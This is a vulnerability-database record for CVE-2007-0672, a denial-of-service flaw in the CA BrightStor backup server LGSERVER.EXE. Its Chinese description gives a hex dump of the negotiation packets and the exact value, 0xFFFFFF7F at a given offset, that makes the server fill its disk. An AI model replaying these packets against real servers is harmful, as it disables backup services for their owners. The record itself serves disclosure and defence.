CVE-2007-0672 (CNNVD-200702-036)

HIGH
中文标题:
CA BrightStor ARCServe BackUp LGServer 安全漏洞
英文标题:
LGSERVER.EXE in BrightStor Mobile Backup 4.0 allows remote attackers to cause a denial of service (d...
CVSS分数: 7.8
发布时间: 2007-02-03 01:00:00
漏洞类型: 其他
状态: PUBLISHED
数据质量分数: 0.30
数据版本: v3
漏洞描述
中文描述:

BrightStor ARCserve Backup可为各种平台的服务器提供备份和恢复保护功能。 BrightStor ARCserve Backup在处理用户请求时存在漏洞，远程攻击者可能利用此漏洞导致服务器消耗大量磁盘资源。 每次用户试图验证到LGSERVER.EXE都会在D:CA_BABLDdataServerdata ransfer中创建一个文件。该文件扩展名为.USX，格式类似于RWXXX.usx，其中X为0-9或A-F的值。 在协商期间16进制地址(DWORD)0x15到0x18上的第三个报文中值为0x00 0x00 0x00 0x00，然后是CoreDataDB。如果发送了这个报文，就会将上述内容写入到这个USX文件。但如果在0x15到0x18地址所传送的DWORD值为0xff 0xff 0xff 0x7f，就会向USX文件中写入额外2,096,153KB的NULL，导致拒绝服务。 以下为会话示例： 客户端报文1 Raw Data 4e 3d 2c 1b 00 00 00 00 00 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 ( ) 服务端 Raw Data 4e 3d 2c 1b 00 00 00 00 fe 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) 服务端 Raw Data 4e 3d 2c 1b 00 00 00 00 ff 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) 客户端报文2 Raw Data 4e 3d 2c 1b 00 00 00 00 02 00 00 00 00 00 00 00 (N=, ) 06 00 00 00 ce 03 00 00 52 57 31 42 34 00 ( RW1B4 ) 服务端 Raw Data 4e 3d 2c 1b 00 00 00 00 fe 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) 客户端报文3 Raw Data 4e 3d 2c 1b 00 00 00 00 03 00 00 00 00 00 00 00 (N=, ) ce 03 00 00 00 00 00 00 43 6f 72 65 44 61 74 61 ( CoreData) 44 42 00 00 01 00 00 00 00 00 0a 00 ce 03 00 00 (DB ) 00 00 00 00 01 00 00 00 10 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 02 00 00 00 00 00 00 4a 00 00 00 00 00 ( J ) 00 01 4a 02 00 00 00 00 00 00 00 00 00 00 00 00 ( J ) 00 00 4a 02 00 00 00 00 00 00 50 00 00 00 00 00 ( J P ) 00 01 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 9a 02 00 00 00 00 00 00 52 00 00 00 00 00 ( R ) 00 01 ec 02 00 00 00 00 00 00 04 00 00 00 00 00 ( ) 00 00 f0 02 00 00 00 00 00 00 52 00 00 00 00 00 ( R ) 00 01 42 03 00 00 00 00 00 00 0c 00 00 00 00 00 ( B ) 00 00 4e 03 00 00 00 00 00 00 14 00 00 00 00 00 ( N ) 00 02 62 03 00 00 00 00 00 00 04 00 00 00 00 00 ( b ) 00 00 66 03 00 00 00 00 00 00 12 00 00 00 00 00 ( f ) 00 02 78 03 00 00 00 00 00 00 04 00 00 00 00 00 ( x ) 00 00 7c 03 00 00 00 00 00 00 0e 00 00 00 00 00 ( | ) 00 02 8a 03 00 00 00 00 00 00 17 00 00 00 00 00 ( ) 00 00 a1 03 00 00 00 00 00 00 11 00 00 00 00 00 ( ) 00 02 b2 03 00 00 00 00 00 00 1c 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00

英文描述:

LGSERVER.EXE in BrightStor Mobile Backup 4.0 allows remote attackers to cause a denial of service (disk consumption and daemon hang) via a value of 0xFFFFFF7F at a certain point in an authentication negotiation packet, which writes a large amount of data to a .USX file in CA_BABLDdata\Server\data\transfer\.

CWE类型:
（暂无数据）
标签:
（暂无数据）
受影响产品
厂商 产品 版本 版本范围 平台 CPE
broadcom brightstor_arcserve_backup_laptops_desktops 11.0 - - cpe:2.3:a:broadcom:brightstor_arcserve_backup_laptops_desktops:11.0:*:*:*:*:*:*:*
broadcom brightstor_arcserve_backup_laptops_desktops 11.1 - - cpe:2.3:a:broadcom:brightstor_arcserve_backup_laptops_desktops:11.1:*:*:*:*:*:*:*
broadcom business_protection_suite 2.0 - - cpe:2.3:a:broadcom:business_protection_suite:2.0:*:*:*:*:*:*:*
broadcom desktop_management_suite 11.0 - - cpe:2.3:a:broadcom:desktop_management_suite:11.0:*:*:*:*:*:*:*
broadcom desktop_management_suite 11.1 - - cpe:2.3:a:broadcom:desktop_management_suite:11.1:*:*:*:*:*:*:*
broadcom desktop_protection_suite 2.0 - - cpe:2.3:a:broadcom:desktop_protection_suite:2.0:*:*:*:*:*:*:*
ca business_protection_suite 2.0 - - cpe:2.3:a:ca:business_protection_suite:2.0:*:microsoft_sbs_premium:*:*:*:*:*
解决方案
中文解决方案:
（暂无数据）
英文解决方案:
（暂无数据）
临时解决方案:
（暂无数据）
参考链接
20070131 Remote Unauthenticated Resource Exhaustion CA Mobile BackupService mailing-list
cve.org
访问
22339 vdb-entry
cve.org
访问
无标题 x_refsource_CONFIRM
cve.org
访问
CVSS评分详情
7.8
HIGH
CVSS向量: AV:N/AC:L/Au:N/C:N/I:N/A:C
CVSS版本: 2.0
机密性
NONE
完整性
NONE
可用性
COMPLETE
时间信息
发布时间:
2007-02-03 01:00:00
修改时间:
2024-08-07 12:26:54
创建时间:
2025-11-11 15:32:41
更新时间:
2025-11-11 15:49:14
利用信息
暂无可利用代码信息
数据源详情
数据源 记录ID 版本 提取时间
CVE cve_CVE-2007-0672 2025-11-11 15:17:49 2025-11-11 07:32:41
NVD nvd_CVE-2007-0672 2025-11-11 14:52:09 2025-11-11 07:41:27
CNNVD cnnvd_CNNVD-200702-036 2025-11-11 15:08:54 2025-11-11 07:49:14
版本与语言
当前版本: v3
主要语言: EN
支持语言:
EN ZH
安全公告
暂无安全公告信息
变更历史
v3 CNNVD
2025-11-11 15:49:14
vulnerability_type: 未提取 → 其他; cnnvd_id: 未提取 → CNNVD-200702-036; data_sources: ['cve', 'nvd'] → ['cnnvd', 'cve', 'nvd']
查看详细变更
  • vulnerability_type: 未提取 -> 其他
  • cnnvd_id: 未提取 -> CNNVD-200702-036
  • data_sources: ['cve', 'nvd'] -> ['cnnvd', 'cve', 'nvd']
v2 NVD
2025-11-11 15:41:27
severity: SeverityLevel.MEDIUM → SeverityLevel.HIGH; cvss_score: 未提取 → 7.8; cvss_vector: NOT_EXTRACTED → AV:N/AC:L/Au:N/C:N/I:N/A:C; cvss_version: NOT_EXTRACTED → 2.0; affected_products_count: 0 → 7; data_sources: ['cve'] → ['cve', 'nvd']
查看详细变更
  • severity: SeverityLevel.MEDIUM -> SeverityLevel.HIGH
  • cvss_score: 未提取 -> 7.8
  • cvss_vector: NOT_EXTRACTED -> AV:N/AC:L/Au:N/C:N/I:N/A:C
  • cvss_version: NOT_EXTRACTED -> 2.0
  • affected_products_count: 0 -> 7
  • data_sources: ['cve'] -> ['cve', 'nvd']